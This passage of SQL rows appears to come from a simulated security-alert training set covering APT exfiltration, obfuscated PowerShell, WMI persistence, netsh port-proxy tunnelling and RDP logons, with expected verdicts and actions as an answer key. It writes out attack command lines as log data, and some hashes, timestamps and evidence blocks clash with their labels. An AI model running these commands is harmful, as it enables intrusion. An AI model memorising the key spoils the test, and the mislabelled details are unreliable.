'{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT29\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host within corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"diplomatic_communications.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive diplomatic communications\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3b5d5c3712955042212316173ccf37be\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29 exfiltration tactics\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User within the organization\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.045Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"file_transferred\\\":\\\"diplomatic_communications.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-20231015-001\\\",\\\"description\\\":\\\"Unusual data transfer detected to external IP\\\",\\\"malware_association\\\":\\\"APT29\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.045Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"file_transferred\\\":\\\"diplomatic_communications.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-20231015-001\\\",\\\"description\\\":\\\"Unusual data transfer detected to external IP\\\",\\\"malware_association\\\":\\\"APT29\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.045Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"file_transferred\\\":\\\"diplomatic_communications.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-20231015-001\\\",\\\"description\\\":\\\"Unusual data transfer detected to external IP\\\",\\\"malware_association\\\":\\\"APT29\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.045Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"file_transferred\\\":\\\"diplomatic_communications.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-20231015-001\\\",\\\"description\\\":\\\"Unusual data transfer detected to external IP\\\",\\\"malware_association\\\":\\\"APT29\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.045Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:07Z\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"data_transfer\\\",\\\"file_transferred\\\":\\\"diplomatic_communications.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"alert_id\\\":\\\"DLP-20231015-001\\\",\\\"description\\\":\\\"Unusual data transfer detected to external IP\\\",\\\"malware_association\\\":\\\"APT29\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(438, 'Unusual PowerShell Execution Detected', 'high', 'SIEM logs', 'Volt Typhoon initiates their campaign by executing obfuscated PowerShell scripts to avoid detection and gather preliminary system information.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"event_id\":4688,\"host\":{\"hostname\":\"workstation-23\",\"internal_ip\":\"10.0.5.23\",\"os\":\"Windows 10\"},\"user\":{\"username\":\"jdoe\",\"domain\":\"CORP\",\"user_id\":\"S-1-5-21-123456789-123456789-123456789-1001\"},\"process\":{\"pid\":4567,\"name\":\"powershell.exe\",\"path\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand aW1wb3J0LX1zZXRDbHkgLnN5c3RlbS5pbmZv\"},\"network\":{\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.15\",\"destination_port\":443,\"protocol\":\"TCP\"},\"file\":{\"name\":\"recon.ps1\",\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\recon.ps1\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}}', '2026-01-04 23:57:09', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used by Volt Typhoon\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as part of a known malicious script\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"recon.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script execution for user profile\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.047Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":4688,\\\"host\\\":{\\\"hostname\\\":\\\"workstation-23\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"os\\\":\\\"Windows 10\\\"},\\\"user\\\":{\\\"username\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"CORP\\\",\\\"user_id\\\":\\\"S-1-5-21-123456789-123456789-123456789-1001\\\"},\\\"process\\\":{\\\"pid\\\":4567,\\\"name\\\":\\\"powershell.exe\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand aW1wb3J0LX1zZXRDbHkgLnN5c3RlbS5pbmZv\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\"},\\\"file\\\":{\\\"name\\\":\\\"recon.ps1\\\",\\\"path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\recon.ps1\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.047Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":4688,\\\"host\\\":{\\\"hostname\\\":\\\"workstation-23\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"os\\\":\\\"Windows 10\\\"},\\\"user\\\":{\\\"username\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"CORP\\\",\\\"user_id\\\":\\\"S-1-5-21-123456789-123456789-123456789-1001\\\"},\\\"process\\\":{\\\"pid\\\":4567,\\\"name\\\":\\\"powershell.exe\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand aW1wb3J0LX1zZXRDbHkgLnN5c3RlbS5pbmZv\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\"},\\\"file\\\":{\\\"name\\\":\\\"recon.ps1\\\",\\\"path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\recon.ps1\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.047Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":4688,\\\"host\\\":{\\\"hostname\\\":\\\"workstation-23\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"os\\\":\\\"Windows 10\\\"},\\\"user\\\":{\\\"username\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"CORP\\\",\\\"user_id\\\":\\\"S-1-5-21-123456789-123456789-123456789-1001\\\"},\\\"process\\\":{\\\"pid\\\":4567,\\\"name\\\":\\\"powershell.exe\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand aW1wb3J0LX1zZXRDbHkgLnN5c3RlbS5pbmZv\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\"},\\\"file\\\":{\\\"name\\\":\\\"recon.ps1\\\",\\\"path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\recon.ps1\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.047Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":4688,\\\"host\\\":{\\\"hostname\\\":\\\"workstation-23\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"os\\\":\\\"Windows 10\\\"},\\\"user\\\":{\\\"username\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"CORP\\\",\\\"user_id\\\":\\\"S-1-5-21-123456789-123456789-123456789-1001\\\"},\\\"process\\\":{\\\"pid\\\":4567,\\\"name\\\":\\\"powershell.exe\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand aW1wb3J0LX1zZXRDbHkgLnN5c3RlbS5pbmZv\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\"},\\\"file\\\":{\\\"name\\\":\\\"recon.ps1\\\",\\\"path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\recon.ps1\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.047Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:00Z\\\",\\\"event_id\\\":4688,\\\"host\\\":{\\\"hostname\\\":\\\"workstation-23\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"os\\\":\\\"Windows 10\\\"},\\\"user\\\":{\\\"username\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"CORP\\\",\\\"user_id\\\":\\\"S-1-5-21-123456789-123456789-123456789-1001\\\"},\\\"process\\\":{\\\"pid\\\":4567,\\\"name\\\":\\\"powershell.exe\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand aW1wb3J0LX1zZXRDbHkgLnN5c3RlbS5pbmZv\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\"},\\\"file\\\":{\\\"name\\\":\\\"recon.ps1\\\",\\\"path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\recon.ps1\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(439, 'Suspicious WMI Activity Spotted', 'high', 'Endpoint detection and response (EDR) alerts', 'The attackers leverage WMI to create persistent footholds, enabling them to execute scripts remotely whenever the system restarts. Detected WMI subscription creation on host with persistent script execution capabilities.', 'Persistence', 'T1084', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T11:32:45Z\",\"event_id\":\"4624\",\"host_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"wmi_class\":\"ActiveScriptEventConsumer\",\"wmi_filter\":\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_Process\'\",\"wmi_consumer\":\"malicious_script.js\",\"hash\":\"3d2e1f5a3a4b8c9e123456789abcdef0\",\"description\":\"WMI subscription detected for persistent access\",\"process\":\"wmiprvse.exe\"}', '2026-01-04 23:57:10', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e1f5a3a4b8c9e123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious script used in APT campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Script used in attacks for remote execution.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_account_audit\",\"verdict\":\"suspicious\",\"details\":\"User account has been flagged for unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(440, 'Anomalous netsh Configuration Changes', 'high', 'Network traffic analysis', 'Detected suspicious netsh configuration changes potentially used for creating tunnels across the network. This activity is consistent with lateral movement tactics employed by the Volt Typhoon APT group.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:25:43Z\",\"event_type\":\"network\",\"source_ip\":\"10.0.3.45\",\"destination_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"action\":\"netsh interface portproxy add v4tov4 listenport=3389 listenaddress=10.0.3.45 connectport=3389 connectaddress=192.168.1.100\",\"process_name\":\"netsh.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"netsh.exe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-04 23:57:10', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP used in suspicious netsh command.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal destination IP targeted by netsh command.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Volt Typhoon activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Known hash for netsh.exe, legitimate system utility.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(441, 'Unexpected Remote Desktop Protocol (RDP) Sessions', 'high', 'RDP logs', 'An unauthorized remote session was detected from an external IP address, indicating a potential lateral movement attempt. The session accessed a high-value system within the network, suggesting an advanced attempt to expand network foothold.', 'Lateral Movement', 'T1021.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:53Z\",\"event_id\":\"4624\",\"logon_type\":10,\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"logon_process\":\"User32\",\"authentication_package\":\"Negotiate\",\"logon_guid\":\"{b1a2b3c4-1d2e-3f45-6789-abcdef123456}\",\"transmitted_services\":\"-\",\"lm_package_name\":\"NTLM\",\"key_length\":128}', '2026-01-04 23:57:10', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple attacks in the past.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal high-value server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Unexpected use of account during non-business hours.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.050Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:53Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"logon_type\\\":10,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"logon_guid\\\":\\\"{b1a2b3c4-1d2e-3f45-6789-abcdef123456}\\\",\\\"transmitted_services\\\":\\\"-\\\",\\\"lm_package_name\\\":\\\"NTLM\\\",\\\"key_length\\\":128}\"},{\"timestamp\":\"2026-02-01T20:31:19.050Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:53Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"logon_type\\\":10,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"logon_guid\\\":\\\"{b1a2b3c4-1d2e-3f45-6789-abcdef123456}\\\",\\\"transmitted_services\\\":\\\"-\\\",\\\"lm_package_name\\\":\\\"NTLM\\\",\\\"key_length\\\":128}\"},{\"timestamp\":\"2026-02-01T20:30:19.050Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:53Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"logon_type\\\":10,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"logon_guid\\\":\\\"{b1a2b3c4-1d2e-3f45-6789-abcdef123456}\\\",\\\"transmitted_services\\\":\\\"-\\\",\\\"lm_package_name\\\":\\\"NTLM\\\",\\\"key_length\\\":128}\"},{\"timestamp\":\"2026-02-01T20:29:19.050Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:53Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"logon_type\\\":10,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"logon_guid\\\":\\\"{b1a2b3c4-1d2e-3f45-6789-abcdef123456}\\\",\\\"transmitted_services\\\":\\\"-\\\",\\\"lm_package_name\\\":\\\"NTLM\\\",\\\"key_length\\\":128}\"},{\"timestamp\":\"2026-02-01T20:28:19.050Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:53Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"logon_type\\\":10,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"logon_process\\\":\\\"User32\\\",\\\"authentication_package\\\":\\\"Negotiate\\\",\\\"logon_guid\\\":\\\"{b1a2b3c4-1d2e-3f45-6789-abcdef123456}\\\",\\\"transmitted_services\\\":\\\"-\\\",\\\"lm_package_name\\\":\\\"NTLM\\\",\\\"key_length\\\":128}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
